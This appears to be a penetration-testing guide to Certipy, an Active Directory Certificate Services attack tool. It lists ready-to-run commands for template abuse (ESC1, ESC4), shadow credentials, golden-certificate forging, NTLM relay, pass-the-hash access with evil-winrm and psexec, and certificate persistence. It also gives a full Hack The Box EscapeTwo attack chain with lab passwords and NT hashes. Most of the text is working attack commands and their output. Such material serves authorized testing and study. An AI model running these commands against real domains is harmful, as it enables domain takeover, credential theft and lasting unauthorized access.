Certipy
A guide for Active Directory Certificate Services (AD CS) enumeration and exploitation using Certipy.
Note —
certipy-advscertipy: these are the same tool with identical syntax, not two different programs.certipy-adis the PyPI package name (the plaincertipyname was already taken). Depending on how it was installed the binary on your$PATHmay becertipyorcertipy-ad(Kali’s apt package shipscertipy-ad;pip install certipy-adusually exposescertipy). Commands below are written ascertipy-ad— just drop the-adif that is what your install exposes. Every flag and subcommand is the same either way. Check withwhich certipy certipy-ad.
Overview
Certipy is an offensive-security tool for enumerating and exploiting AD CS misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities.
Key Capabilities
| Function | Description |
|---|---|
| Enumeration | Identify vulnerable certificate templates and CAs |
| Certificate Requests | Request certificates with custom attributes |
| Authentication | Use certificates for Kerberos auth and NT hash retrieval |
| Template Manipulation | Modify certificate templates to create exploitation paths |
| Shadow Credentials | Add Key Credential Links for account takeover |
| Golden Certificates | Forge certificates using compromised CA keys |
Installation
# Install via pip
pip install certipy-ad --break-system-packages
# Install via apt (Kali Linux)
sudo apt install certipy-ad
# Verify installation
certipy-ad -h
Common Usage Patterns
Enumeration Workflow
# Basic enumeration
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51
# Enumerate vulnerable templates only
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled
# Output to specific format
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results
# Using NTLM hash authentication
certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51
Certificate Request Workflow
# Request certificate with UPN
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51
# Request using hash authentication
certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51
# Retrieve previously requested certificate
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51
Authentication Workflow
# Authenticate using certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
# With PFX password
certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51
# Save in kirbi format
certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51
# LDAP shell access
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51
Command Reference
Global Flags
| Flag | Description | Example |
|---|---|---|
-u, -username | Username for authentication | -u user@domain.local |
-p, -password | Password for authentication | -p 'Password123' |
-hashes | NTLM hash (pass-the-hash) | -hashes ':NTHASH' or -hashes 'LMHASH:NTHASH' |
-k | Use Kerberos authentication from ccache | -k |
-aes | AES key for Kerberos auth | -aes <hex_key> |
-dc-ip | Domain controller IP address | -dc-ip 10.10.11.51 |
-dc-host | Domain controller hostname | -dc-host dc01.domain.local |
-target | Target machine DNS/IP | -target ca.domain.local |
-ns | Nameserver for DNS resolution | -ns 8.8.8.8 |
-timeout | Connection timeout in seconds | -timeout 30 |
-debug | Enable debug output | -debug |
1. find - Enumerate AD CS
Discover certificate templates, CAs, and misconfigurations.
certipy-ad find [options]
Key flags:
| Flag | Description |
|---|---|
-vulnerable | Show only vulnerable templates |
-enabled | Show only enabled templates |
-text | Output as formatted text file |
-json | Output as JSON |
-csv | Output as CSV |
-stdout | Output directly to console |
-output <prefix> | File prefix for output |
-oids | Show Issuance Policies |
-hide-admins | Suppress admin permissions |
-dc-only | Only collect from DC (skip CA queries) |
# Find vulnerable templates
certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -vulnerable -enabled -stdout
# Full enumeration with all outputs
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -json -text -output dc01_enum
2. req - Request Certificates
Request and retrieve certificates from AD CS.
certipy-ad req [options]
Key flags:
| Flag | Description |
|---|---|
-ca <name> | Certificate Authority name |
-template <name> | Certificate template name |
-upn <upn> | User Principal Name for SAN |
-dns <dns> | DNS name for SAN |
-sid <sid> | Object SID for SAN |
-subject <dn> | Certificate subject DN |
-retrieve <id> | Retrieve certificate by request ID |
-on-behalf-of <user> | Request on behalf of another user |
-pfx <file> | PFX for on-behalf-of or renewal |
-renew | Create renewal request |
-out <file> | Output PFX filename |
-web | Use Web Enrollment |
-dcom | Use DCOM Enrollment |
# Request certificate with custom UPN (ESC1)
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51
# Retrieve certificate by request ID
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 -dc-ip 10.10.11.51
# Request on behalf of another user (ESC2/ESC3)
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User -on-behalf-of 'domain\administrator' -pfx user.pfx
3. auth - Authenticate with Certificate
Use certificates for authentication and NT hash retrieval.
certipy-ad auth -pfx <cert.pfx> [options]
Key flags:
| Flag | Description |
|---|---|
-pfx <file> | Path to certificate (PFX/P12) |
-password <pass> | PFX file password |
-no-save | Don’t save TGT to file |
-no-hash | Don’t request NT hash |
-print | Print TGT in kirbi format |
-kirbi | Save as .kirbi instead of ccache |
-username <user> | Override certificate username |
-domain <domain> | Override certificate domain |
-ldap-shell | Start LDAP shell after auth |
# Authenticate and retrieve NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
# With password-protected PFX
certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51
# Start LDAP shell
certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51
4. template - Manage Templates
View and modify certificate template configurations.
certipy-ad template -template <name> [options]
Key flags:
| Flag | Description |
|---|---|
-template <name> | Certificate template name |
-save-configuration <file> | Save current config to JSON |
-write-configuration <file> | Apply config from JSON file |
-write-default-configuration | Apply default ESC1 config |
-no-save | Skip backup before changes |
-force | Don’t prompt for confirmation |
# Save template configuration
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -save-configuration backup.json -dc-ip 10.10.11.51
# Apply ESC1 configuration (make vulnerable)
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51
# Restore from backup
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -write-configuration backup.json -no-save -dc-ip 10.10.11.51
5. shadow - Shadow Credentials
Manipulate Key Credential Links for account takeover.
certipy-ad shadow <action> [options]
Actions: auto (add, auth, restore), list, add, remove, clear, info.
| Flag | Description |
|---|---|
-account <target> | Target account |
-device-id <guid> | Specific device ID |
-out <file> | Output certificate file |
# Automatic shadow credential attack
certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
# List Key Credentials
certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
# Add Key Credential
certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
Certipy v5 gotcha —
shadow autowith-dc-ipbut no-dc-hostfails with[Errno 113] No route to hosteven when the IP is correct and/etc/hostsis set. Either pass-dc-host dc01.<domain>(add-ns <DC_IP>to pin DNS) or drop-dc-ipentirely and let Certipy resolve the DC itself:# Works — no -dc-ip, Certipy resolves the DC via DNS / /etc/hosts certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svcAlso expand shell variables with double quotes, not single:
-u "$USER@fluffy.htb"(single quotes pass the literal string$USER).
6. account - Manage Accounts
Create, read, update, delete AD accounts.
certipy-ad account <action> -user <name> [options]
Actions: create, read, update, delete.
| Flag | Description |
|---|---|
-user <name> | SAM account name |
-pass <password> | Set password |
-dns <hostname> | Set DNS hostname |
-upn <upn> | Set UPN |
-spns <spn1,spn2> | Set SPNs |
# Create machine account
certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' -dc-ip 10.10.11.51
# Update account password
certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' -dc-ip 10.10.11.51
7. ca - Manage Certificate Authority
Manage CA settings and certificate requests.
certipy-ad ca -ca <name> [options]
| Flag | Description |
|---|---|
-ca <name> | CA name |
-list-templates | List enabled templates |
-enable-template <name> | Enable template on CA |
-disable-template <name> | Disable template on CA |
-issue-request <id> | Approve pending request |
-deny-request <id> | Deny pending request |
-add-officer <user> | Add certificate officer |
# List enabled templates
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates -dc-ip 10.10.11.51
# Approve pending request
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 -dc-ip 10.10.11.51
8. forge - Forge Certificates
Create golden certificates or self-signed certs.
certipy-ad forge [options]
| Flag | Description |
|---|---|
-ca-pfx <file> | CA certificate/key (for golden cert) |
-ca-password <pass> | CA PFX password |
-upn <upn> | UPN for certificate |
-subject <dn> | Certificate subject |
-template <file> | Clone from template cert |
-out <file> | Output PFX file |
-validity-period <days> | Validity in days |
# Forge golden certificate
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx
9. relay - NTLM Relay
Relay NTLM authentication to AD CS endpoints.
certipy-ad relay -target <proto://host> [options]
| Flag | Description |
|---|---|
-target <proto://host> | Target (http:// or rpc://) |
-ca <name> | CA name (for RPC) |
-template <name> | Certificate template |
-interface <ip> | Listen interface |
-port <port> | Listen port (default: 445) |
-forever | Keep relay server alive |
-enum-templates | Enumerate templates via relay |
ESC4 Exploitation Workflow
ESC4 occurs when an attacker has write permissions over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).
Prerequisites:
- Compromised account with write access to a certificate template
- Membership in groups with template modification rights (e.g. Cert Publishers)
- Access to Active Directory Certificate Services
Step 1: Enumerate and Identify ESC4
# Find vulnerable templates
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -vulnerable -stdout
# Look for output like:
# [!] Vulnerabilities
# ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions
Step 2: Modify Template (Certipy 5.x)
# Apply default ESC1 configuration
certipy-ad template -u ca_svc@sequel.htb \
-hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
-template DunderMifflinAuthentication \
-write-default-configuration \
-dc-ip 10.10.11.51
# Confirm changes when prompted
Step 3: Request Certificate with UPN
# Request admin certificate
certipy-ad req -u ca_svc@sequel.htb \
-hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
-ca sequel-DC01-CA \
-template DunderMifflinAuthentication \
-upn administrator@sequel.htb \
-dc-ip 10.10.11.51
# Output: administrator.pfx
Step 4: Authenticate and Extract Hash
# Authenticate with certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
# Output:
# [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Step 5: Use Hash for Access
# WinRM access
evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
# SMB access
smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$
# psexec
psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51
Step 6: Restore Template (Clean Up)
# Restore from automatic backup
certipy-ad template -u ca_svc@sequel.htb \
-hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
-template DunderMifflinAuthentication \
-write-configuration DunderMifflinAuthentication.json \
-no-save \
-dc-ip 10.10.11.51
Alternative Method (Certipy 4.x - Legacy)
# Step 1: Modify template (auto-saves backup)
certipy-ad template -u ca_svc -hashes :HASH \
-dc-ip 10.10.11.51 \
-template DunderMifflinAuthentication \
-target dc01.sequel.htb \
-save-old
# Step 2: Request certificate
certipy-ad req -ca sequel-DC01-CA \
-u ca_svc -hashes :HASH \
-dc-ip 10.10.11.51 \
-template DunderMifflinAuthentication \
-target dc01.sequel.htb \
-upn administrator@sequel.htb
# Step 3: Authenticate
certipy-ad auth -pfx administrator.pfx
# Step 4: Restore (backup auto-created)
# Check for DunderMifflinAuthentication.json in current directory
HTB EscapeTwo Context
Exploitation path:
- Initial Access: rose creds → SQL admin password → shell as sql_svc
- Lateral Movement: find ryan credentials → WinRM access
- Privilege Escalation: ryan has WriteOwner on ca_svc account
- Account Takeover: use BloodyAD for ownership + permissions
- Shadow Credentials: add shadow credential to ca_svc
- ESC4 Exploitation: ca_svc in Cert Publishers → modify template → pwn
Key commands:
# Ownership change (using BloodyAD)
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
# Shadow credential attack (v5: pass -dc-host, or drop -dc-ip — see the shadow section gotcha)
certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
# ESC4 enumeration
certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -stdout
# Template modification
certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51
# Certificate request
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51
# Authentication
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
Post-Exploitation
Using Certificates
# Pass-the-Certificate with evil-winrm
evil-winrm -i DC01 -c admin.crt -k admin.key
# Use ccache for Kerberos auth
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass administrator@dc01.sequel.htb
# Convert PFX to PEM for other tools
openssl pkcs12 -in admin.pfx -nocerts -out admin.key
openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt
Persistence
# Renew certificate before expiration
certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template -renew -pfx admin.pfx -dc-ip 10.10.11.51
# Forge golden certificate (requires CA key)
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx
Tips & Best Practices
Operational security:
- Always back up templates before modification.
- Clean up after testing (restore configurations).
- Document request IDs for later retrieval.
- Note certificate validity periods for persistence planning.
Enumeration tips:
- Start with
-vulnerable -enabledfor quick wins. - Use
-jsonoutput for parsing with tools like jq. - Check group memberships (Cert Publishers is key for ESC4).
- Enumerate with BloodHound for WriteOwner/GenericAll on service accounts.
Common attack chains:
WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request
WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin
ManageCA + ManageCertificates → ESC7 → Certificate → Compromise
Troubleshooting
| Error | Solution |
|---|---|
CERTSRV_E_TEMPLATE_DENIED | User not authorized for template - check enrollment rights |
Object SID mismatch | Strong Certificate Mapping enabled - use -sid flag |
INSUFF_ACCESS_RIGHTS | Need GenericAll/WriteOwner - check permissions |
| Connection timeout | Check firewall, verify DC-IP, try -timeout 30 |
References
- Certipy GitHub Wiki: https://github.com/ly4k/Certipy/wiki
- Certified Pre-Owned Whitepaper: https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
- ADCS Attack Paths (Hacker Recipes): https://www.thehacker.recipes/ad/movement/adcs